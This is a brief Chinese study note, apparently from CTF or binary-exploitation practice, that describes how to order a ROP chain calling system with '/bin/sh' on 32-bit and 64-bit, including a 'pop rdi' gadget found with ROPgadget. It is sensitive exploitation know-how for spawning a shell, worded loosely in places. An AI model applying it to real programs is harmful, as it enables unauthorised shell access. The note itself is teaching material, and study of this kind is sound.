32位的ROP是system函数在前,bin/sh函数在后,两函数中填入一个将来的返回地址,一般直接填0
(2)
64位的ROP是bin/sh函数在前,system函数在后,两函数之前需要加上该文件的pop rdi地址
(用ROPgadget实现)



